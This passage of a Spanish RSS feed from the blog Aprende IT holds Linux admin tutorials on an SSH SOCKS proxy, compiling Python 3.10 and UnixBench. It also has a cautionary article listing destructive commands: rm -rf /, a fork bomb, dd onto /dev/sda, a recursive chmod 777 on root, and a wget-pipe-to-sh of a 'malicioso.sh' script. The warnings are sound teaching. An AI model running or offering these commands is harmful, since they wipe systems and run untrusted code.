<pre>sudo systemctl restart ssh</pre>
<h3>Uso de SSH como un Proxy SOCKS5</h3>
<p>Para configurar un túnel SSH que funcione como un proxy SOCKS5, utiliza el siguiente comando desde tu cliente (no en el servidor). Este comando establece un túnel SSH que escucha localmente en tu máquina en el puerto especificado (por ejemplo, 1080) y redirige el tráfico a través del servidor SSH:</p>
<pre>ssh -D 1080 -C -q -N usuario@direccion_servidor</pre>
<ul>
<li>-D 1080 especifica que SSH debe crear un proxy SOCKS5 en el puerto local 1080.</li>
<li>-C comprime los datos antes de enviarlos.</li>
<li>-q habilita el modo silencioso que minimiza los mensajes de log.</li>
<li>-N indica que no se ejecuten comandos remotos, útil cuando solo quieres establecer el túnel.</li>
<li>usuario es tu nombre de usuario en el servidor SSH.</li>
<li>direccion_servidor es la dirección IP o dominio de tu servidor SSH.</li>
</ul>
<p>En este punto es donde comentamos que con la opción -D debemos indicar unicamente el puerto ya que si exponemos el puerto a toda la red podemos estar permitiendo que otros equipos de la red utilicen este proxy sin autenticarse:</p>
<pre>[ger@ger-pc ~]$ ssh <strong>-D 0.0.0.0:1081</strong> root@192.168.54.100</pre>
<p>Si lo comprobamos con el comando <em>ss </em>o con <em>netstat</em> podemos ver que está escuchando en todas las redes:</p>
<pre>[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 <strong>0.0.0.0:1081</strong> 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$</pre>
<p>Sin embargo, si conectamos especificando unicamente el puerto sin 0.0.0.0 o sin ninguna IP, lo hara solo en localhost:</p>
<pre>[ger@ger-pc ~]$ ssh <strong>-D 1081</strong> root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 <strong>127.0.0.1:1081</strong> 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$</pre>
<h3>Conexión a través del Proxy SOCKS5:</h3>
<p>Ahora puedes configurar tu navegador o aplicación para utilizar el proxy SOCKS5 en localhost y el puerto 1080. Cada aplicación tiene una manera diferente de configurar esto, así que necesitarás revisar las preferencias o la documentación de la aplicación.</p>
<p>Automatización de la Conexión (Opcional):<br />
Si necesitas que el túnel se establezca automáticamente al inicio o sin interacción manual, puedes considerar usar una herramienta como autossh para mantener la conexión del túnel abierta y reconectar en caso de que se caiga.</p>
<p>Esta es una forma efectiva de establecer un proxy SOCKS5 rápido para un usuario o unos pocos usuarios, especialmente útil para eludir restricciones de red o asegurar tu tráfico en redes no confiables. La principal ventaja de este método es su simplicidad y que aprovecha la infraestructura SSH existente, sin necesidad de configurar software adicional en el servidor.</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/RJKSfIqiU3Q?si=I-d4Jyf0kK_ztrjT" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>La entrada <a href="https://aprendeit.com/crear-proxy-socks-con-dante-y-con-openssh/">Crear Proxy SOCKS con Dante y con OpenSSH</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/crear-proxy-socks-con-dante-y-con-openssh/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cómo compilar Python 3.10 en Ubuntu 20.04</title>
		<link>https://aprendeit.com/como-compilar-python-3-10-en-ubuntu-20-04/</link>
					<comments>https://aprendeit.com/como-compilar-python-3-10-en-ubuntu-20-04/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Wed, 06 Mar 2024 17:23:17 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6104</guid>

					<description><![CDATA[<p>En el mundo del desarrollo de software, mantenerse actualizado con las últimas versiones de los lenguajes de programación es crucial para aprovechar las nuevas funcionalidades y mejoras en seguridad y ...</p>
<p>La entrada <a href="https://aprendeit.com/como-compilar-python-3-10-en-ubuntu-20-04/">Cómo compilar Python 3.10 en Ubuntu 20.04</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>En el mundo del desarrollo de software, mantenerse actualizado con las últimas versiones de los lenguajes de programación es crucial para aprovechar las nuevas funcionalidades y mejoras en seguridad y rendimiento. Python, siendo uno de los lenguajes más populares y versátiles, no es la excepción. En este artículo, te guiaré a través de un proceso detallado y técnico para compilar Python 3.10 en Ubuntu 20.04, utilizando herramientas y comandos específicos para lograrlo de manera eficiente.</p>
<h2>Preparación del entorno</h2>
<p>Antes de sumergirnos en la compilación de Python, es esencial preparar tu sistema Ubuntu 20.04 para asegurarnos de que el proceso se ejecute sin contratiempos. Esto incluye la actualización de los paquetes del sistema y la instalación de dependencias necesarias para la compilación de Python.</p>
<p>Para empezar, abre una terminal y ejecuta el siguiente comando para actualizar el índice de paquetes de tu sistema:</p>
<pre>sudo apt update</pre>
<p>Una vez actualizado el índice de paquetes, es momento de instalar algunas dependencias críticas que Python requiere para su compilación y ejecución. Ejecuta el siguiente comando para instalar estos paquetes:</p>
<pre>sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make</pre>
<h2>Descarga y preparación del código fuente de Python</h2>
<p>Con el entorno preparado, el siguiente paso es obtener el código fuente de Python 3.10.13, que es la versión que compilaremos. Para ello, utilizaremos wget, una herramienta que permite descargar archivos desde la web directamente a nuestra terminal. Antes de descargar el código fuente, asegúrate de eliminar cualquier archivo previo con el mismo nombre para evitar conflictos:</p>
<pre>rm -f Python-3.10.13.tgz</pre>
<p>Ahora, procede a descargar el archivo comprimido del código fuente de Python 3.10.13 con el siguiente comando:</p>
<pre>wget https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz</pre>
<p>Con el archivo descargado, el próximo paso es extraer su contenido. Utiliza el comando tar para descomprimir el archivo:</p>
<pre>tar xzf Python-3.10.13.tgz</pre>
<p>Después de extraer el archivo, cambia al directorio que contiene el código fuente:</p>
<pre>cd Python-3.10.13</pre>
<h2>Compilación del código fuente</h2>
<p>Antes de proceder con la compilación propiamente dicha, es una buena práctica limpiar cualquier compilación previa que pudiera estar presente en el directorio. Esto se hace con el comando make clean:</p>
<pre>make clean</pre>
<p>El siguiente paso es configurar el proceso de compilación. Python ofrece muchas opciones de configuración, pero nos centraremos en una configuración optimizada que incluye pip y configuraciones de ruta para las bibliotecas compartidas. Ejecuta el siguiente comando para configurar el entorno de compilación:</p>
<pre>./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"</pre>
<p>Una vez configurado, procede a compilar Python utilizando make. Para aprovechar al máximo los recursos de tu sistema y agilizar el proceso de compilación, puedes especificar el número de trabajos que make debería ejecutar simultáneamente. Esto depende del número de núcleos de tu procesador. Suponiendo que tienes un procesador de 4 núcleos, puedes usar make -j 4 para compilar más rápido. Sin embargo, en esta guía, utilizaremos make altinstall para instalar Python sin sobrescribir la versión predeterminada del sistema:</p>
<pre>make altinstall</pre>
<h2>Instalación de pip y virtualenv</h2>
<p>Tras compilar e instalar Python, el siguiente paso es asegurarse de que pip, el administrador de paquetes de Python, esté actualizado y funcionando correctamente con nuestra nueva instalación de Python. A continuación, instalaremos virtualenv, una herramienta para crear entornos virtuales aislados, lo cual es esencial para la gestión de dependencias en proyectos Python.</p>
<p>Primero, descarga el script de instalación de pip:</p>
<pre>wget https://bootstrap.pypa.io/get-pip.py</pre>
<p>Ejecuta el script para instalar pip para Python 3.10:</p>
<pre>python3.10 get-pip.py</pre>
<p>Con pip ya instalado, procede a instalar virtualenv:</p>
<pre>pip3.10 install virtualenv</pre>
<p>Para evitar conflictos con otras versiones de Python, renombraremos los binarios de pip y virtualenv:</p>
<pre>mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10</pre>
<h2>Uso de contenedores como alternativa a la compilación</h2>
<p>Compilar Python desde el código fuente te proporciona control total sobre la instalación y configuración, permitiéndote optimizar el rendimiento y la seguridad. Sin embargo, este proceso puede ser tedioso y consumir tiempo. Como alternativa, puedes utilizar contenedores Docker para trabajar con diferentes versiones de Python de manera aislada y eficiente, sin la necesidad de compilar cada versión manualmente.</p>
<p>Docker simplifica la creación y gestión de entornos aislados para tus aplicaciones, conocidos como contenedores. Para iniciar un contenedor con Python 3.10.13, simplemente ejecuta el siguiente comando:</p>
<pre>docker run -it --name python3 python:3.10.13-slim-bullseye</pre>
<p>Este comando descarga la imagen oficial de Python 3.10.13 (basada en Debian Bullseye slim) y la ejecuta en un contenedor, proporcionándote un entorno Python aislado y listo para usar en cuestión de segundos.</p>
<h2>Resumen de comandos</h2>
<p>Con el fin de tenerlo todo agrupado en la secuencia correcta, este es el grupo de comandos que hemos ejecutado:</p>
<pre>sudo apt update
sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make
rm -f Python-3.10.13.tgz<span class="im">
wget <a href="https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz" target="_blank" rel="noopener" data-saferedirecturl="https://www.google.com/url?q=https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz&amp;source=gmail&amp;ust=1709709840414000&amp;usg=AOvVaw3xW2QCGzXSp0Yeo1qqlvI7">https://www.python.org/ftp/<wbr />python/3.10.13/Python-3.10.13.<wbr />tgz</a>
rm -f Python-3.10.13.tgz.*
tar xzf Python-3.10.13.tgz
cd Python-3.10.13
make clean
</span><span class="im">./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"
make altinstall
wget <a href="https://bootstrap.pypa.io/get-pip.py" target="_blank" rel="noopener" data-saferedirecturl="https://www.google.com/url?q=https://bootstrap.pypa.io/get-pip.py&amp;source=gmail&amp;ust=1709709840414000&amp;usg=AOvVaw3mpypFHPPzeN09iWIwd06t">https://bootstrap.pypa.io/get-<wbr />pip.py</a>
python3.10 get-pip.py
pip3.10 install virtualenv
mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10</span></pre>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/0OH0TWtRjJk?si=igmbWK71Sbgac2H7" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La entrada <a href="https://aprendeit.com/como-compilar-python-3-10-en-ubuntu-20-04/">Cómo compilar Python 3.10 en Ubuntu 20.04</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/como-compilar-python-3-10-en-ubuntu-20-04/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Comandos que no debes ejecutar en Linux</title>
		<link>https://aprendeit.com/comandos-que-no-debes-ejecutar-en-linux/</link>
					<comments>https://aprendeit.com/comandos-que-no-debes-ejecutar-en-linux/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Sun, 25 Feb 2024 20:04:40 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6069</guid>

					<description><![CDATA[<p>En el vasto mundo de Linux, la terminal es una herramienta poderosa que otorga a los usuarios un control sin precedentes sobre sus sistemas. Sin embargo, con gran poder viene ...</p>
<p>La entrada <a href="https://aprendeit.com/comandos-que-no-debes-ejecutar-en-linux/">Comandos que no debes ejecutar en Linux</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>En el vasto mundo de Linux, la terminal es una herramienta poderosa que otorga a los usuarios un control sin precedentes sobre sus sistemas. Sin embargo, con gran poder viene una gran responsabilidad. Existen ciertos comandos que, aunque parezcan inofensivos o curiosos a primera vista, pueden causar daños irreparables a tu sistema. En este artículo, exploraremos diez de estos comandos letales, explicando detalladamente por qué deberías mantenerlos lejos de tu terminal.</p>
<h2>El devastador rm -rf /</h2>
<p>Empezamos con el infame comando rm -rf /, una sentencia que parece sencilla pero esconde un potencial destructivo. Este comando borra todos los archivos del sistema, comenzando desde la raíz (/). El modificador -r indica que la eliminación debe ser recursiva, es decir, afectar a todos los archivos y directorios contenidos en el directorio especificado, mientras que -f fuerza la eliminación sin pedir confirmación. Ejecutar este comando como superusuario significa despedirse de tu sistema operativo, tus datos y cualquier esperanza de recuperación fácil.</p>
<p>En resumen, hay que tener cuidado con ejecutar comandos rm recursivos ya que podemos eliminar mas de lo que queremos:</p>
<ul>
<li>rm -fr *</li>
<li>rm -fr */</li>
<li>rm -fr /*</li>
<li>rm -fr .</li>
<li>rm -fr ..</li>
</ul>
<h2>La trampa de :(){ :|: &amp; };:</h2>
<p>Este enigmático comando es un ejemplo de una función fork bomb. Se define una función llamada : que, cuando se ejecuta, llama a sí misma dos veces y cada llamada se ejecuta en el fondo. Esto causa una reacción en cadena, duplicando procesos indefinidamente y consumiendo los recursos del sistema hasta que este se cuelga. Es un ataque de denegación de servicio contra tu propia máquina, llevando al límite la capacidad de procesamiento y memoria.</p>
<p>Para que se entienda mejor, <code>:(){ :|: &amp; };:</code> es lo mismo que ejecutar:</p>
<pre>bomb() {
    bomb | bomb &amp;
}; bomb
</pre>
<h2>El peligro de dd if=/dev/zero of=/dev/sda</h2>
<p>El comando dd es una herramienta potente que se utiliza para convertir y copiar archivos a nivel de bloque. En este contexto, <code>if=/dev/zero</code> establece la entrada a un flujo continuo de ceros, y <code>of=/dev/sda</code> designa el dispositivo de destino, generalmente el disco duro principal. Este comando sobrescribe todo el disco con ceros, eliminando irreversiblemente el sistema operativo, los programas y los datos del usuario. Es esencial comprender la función de cada parte del comando antes de ejecutar algo tan poderoso como dd.</p>
<h2>Descargar y ejecutar un ficheromalicioso</h2>
<p>Por ejemplo la orden <code>wget http://ejemplo.com/malicioso.sh -O- | sh</code></p>
<p>Este comando utiliza wget para descargar un script desde una dirección de Internet y lo ejecuta directamente en la shell con sh. La peligrosidad reside en ejecutar código sin revisar, proveniente de una fuente no confiable. Podría tratarse de un script malicioso diseñado para dañar tu sistema o comprometer tu seguridad. Siempre es vital verificar el contenido de los scripts antes de ejecutarlos.</p>
<h2>Modificación peligrosa de permisos y propiedades</h2>
<p>La modificación de permisos con por ejemplo <code>chmod 777 / -R</code> puede dejar inservible tu sistema.<br />
chmod cambia los permisos de archivos y directorios, y 777 otorga permisos totales (lectura, escritura y ejecución) a todos los usuarios. Aplicar esto recursivamente (-R) a la raíz (/) elimina cualquier forma de control de acceso, exponiendo el sistema a riesgos de seguridad graves. Cualquier usuario podría modificar cualquier archivo, con potenciales consecuencias desastrosas.</p>
<h2>El comando chown nobody:nogroup / -R</h2>
<p>Similar al caso anterior, chown cambia el propietario y el grupo de archivos y directorios. Usar nobody:nogroup asigna la propiedad a un usuario y grupo sin privilegios, aplicado recursivamente desde la raíz, puede dejar al sistema en un estado inoperable, ya que los servicios y procesos críticos podrían perder acceso a los archivos necesarios para su funcionamiento.</p>
<h2>El misterioso mv /home/tu_usuario/* /dev/null</h2>
<p>Mover archivos al directorio /dev/null es equivalente a eliminarlos, ya que /dev/null es un agujero negro en el sistema que descarta todo lo que recibe. Este comando, aplicado al directorio del usuario, puede resultar en la pérdida de todos los datos personales, configuraciones y archivos importantes almacenados en tu home.</p>
<h2>El peligroso find</h2>
<p>El comando find puede ser muy peligroso, por ejemplo si ejecutamos el siguiente comando:</p>
<pre>find / -name '*.jpg' -type f -delete</pre>
<p>Lo que ocurre es que find es una herramienta versátil para buscar archivos en el sistema de archivos que cumplan con ciertos criterios. Este comando busca todos los archivos .jpg en el sistema y los elimina. Aunque podría parecer útil para liberar espacio, borrar indiscriminadamente archivos basándose solo en su extensión puede resultar en la pérdida de documentos importantes, recuerdos y recursos.</p>
<p>&nbsp;</p>
<h2>Causar un kernel panic</h2>
<p>El siguiente comando es capaz de causar un kernel panic:</p>
<pre>echo 1 &gt; /proc/sys/kernel/panic;</pre>
<p>Provocar un error de Kernel Panic en Linux es comparable a la temida pantalla azul de la muerte en Windows, desmitificando la creencia de que Linux es infalible. A través de ciertos comandos, como redirigir datos aleatorios a dispositivos críticos del sistema o manipular directamente la memoria, se puede forzar a Linux a entrar en un estado de pánico del kernel, lo que hace que el sistema se vuelva irrecuperable sin un reinicio. Estos comandos son altamente riesgosos y pueden resultar en la pérdida de datos o en la corrupción del sistema.</p>
<h2>Sobrescribir el disco de sistema con la salida de un comando</h2>
<p>Sobrescribir el disco duro en Linux, usando comandos que redirigen la salida de cualquier comando Bash directamente a un dispositivo de disco (<code>/dev/hda</code>), puede resultar en la pérdida total de datos. Este proceso es irreversible y difiere del formateo, ya que implica escribir datos sin procesar sobre toda la unidad, haciéndola inservible. Es una acción altamente peligrosa sin beneficio práctico en la mayoría de los contextos.</p>
<p>Un ejemplo de esto seria:</p>
<pre>comando1 &gt; /dev/sda1</pre>
<h2>Protege tu sistema, protege tu tranquilidad</h2>
<p>Explorar y experimentar con Linux puede ser una experiencia enriquecedora y educativa. Sin embargo, es fundamental hacerlo con conocimiento y precaución. Los comandos discutidos aquí representan solo una fracción de lo que es posible (y potencialmente peligroso) en la terminal. La regla de oro es simple: si no estás seguro de lo que hace un comando, investiga antes de ejecutarlo. Proteger tu sistema es proteger tu trabajo, tus recuerdos y, en última instancia, tu tranquilidad.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/ngutA5TEOak?si=bdkwpKt6Fi089bk0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<p>La entrada <a href="https://aprendeit.com/comandos-que-no-debes-ejecutar-en-linux/">Comandos que no debes ejecutar en Linux</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/comandos-que-no-debes-ejecutar-en-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Pruebas de Rendimiento en Linux con UnixBench</title>
		<link>https://aprendeit.com/pruebas-de-rendimiento-en-linux-con-unixbench/</link>
					<comments>https://aprendeit.com/pruebas-de-rendimiento-en-linux-con-unixbench/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Tue, 26 Dec 2023 06:41:34 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=3383</guid>

					<description><![CDATA[<p>Para los entusiastas de Linux, realizar pruebas de rendimiento es clave para sacar el máximo partido a sus sistemas. UnixBench es una herramienta esencial en este proceso, ofreciendo un análisis ...</p>
<p>La entrada <a href="https://aprendeit.com/pruebas-de-rendimiento-en-linux-con-unixbench/">Pruebas de Rendimiento en Linux con UnixBench</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Para los entusiastas de Linux, realizar pruebas de rendimiento es clave para sacar el máximo partido a sus sistemas. UnixBench es una herramienta esencial en este proceso, ofreciendo un análisis detallado del rendimiento de sistemas Linux y Unix.</p>
<h2>¿Qué es UnixBench?</h2>
<p>UnixBench es una suite de pruebas de rendimiento de código abierto diseñada para sistemas Unix y Linux. Se caracteriza por su facilidad de uso y profundidad, permitiendo medir el rendimiento de diversos componentes del sistema.</p>
<h2>Instalación de UnixBench</h2>
<p>La instalación de UnixBench es sencilla y se realiza a través de unos pocos comandos en la terminal:</p>
<p>Clona el repositorio de UnixBench:</p>
<pre>git clone https://github.com/kdlucas/byte-unixbench.git</pre>
<p>Accede al directorio de UnixBench:</p>
<pre>cd byte-unixbench/UnixBench</pre>
<p>Compila y construye UnixBench:</p>
<pre>make</pre>
<h2>Ejecutando tu Primera Prueba con UnixBench</h2>
<p>Para lanzar tu primera prueba, sigue estos pasos:</p>
<p>En la misma carpeta de UnixBench, ejecuta:</p>
<pre>./Run</pre>
<p>Esto iniciará una serie de pruebas que evaluarán diferentes aspectos de tu sistema.</p>
<h2>Análisis de Resultados</h2>
<p>Los resultados de UnixBench se presentan en forma de puntuaciones y datos, proporcionando una idea clara del rendimiento de tu sistema en áreas como la CPU, la memoria y las operaciones de disco.</p>
<h2>Pruebas Avanzadas</h2>
<p>UnixBench permite realizar pruebas específicas para distintos componentes. Por ejemplo, para enfocarte en la CPU:</p>
<pre>./Run dhry2reg whetstone-double</pre>
<h2>Personalizando las Pruebas</h2>
<p>UnixBench ofrece la flexibilidad de personalizar las pruebas. Puedes elegir qué pruebas ejecutar y adaptarlas a tus necesidades específicas.</p>
<h2>Monitorización en Tiempo Real</h2>
<p>Mientras se ejecutan las pruebas, es útil realizar una monitorización en tiempo real del sistema usando herramientas como top o htop.</p>
<h2>Pruebas de Rendimiento de Red</h2>
<p>Además de los componentes básicos, UnixBench también puede evaluar el rendimiento de la red de tu sistema, un aspecto crucial para servidores o entornos de red dependientes.</p>
<h2>Integración con Herramientas de Monitorización</h2>
<p>UnixBench se puede integrar con herramientas de monitorización de sistemas avanzadas, proporcionando un análisis detallado del rendimiento del sistema durante las pruebas.</p>
<h2>Tips para Optimizar el Rendimiento</h2>
<p>Después de las pruebas, puedes identificar áreas de mejora y comenzar a optimizar tu sistema, ajustando configuraciones, actualizando hardware o modificando el entorno de software.</p>
<p>La entrada <a href="https://aprendeit.com/pruebas-de-rendimiento-en-linux-con-unixbench/">Pruebas de Rendimiento en Linux con UnixBench</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pruebas-de-rendimiento-en-linux-con-unixbench/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Almacenamiento en caché de páginas con Disk: Enhanced 
Carga diferida (feed)
Minified using Disk
Caché de base de datos 171/184 consultas en 0.035 segundos usando Disk

Served from: aprendeit.com @ 2026-04-05 12:19:29 by W3 Total Cache
-->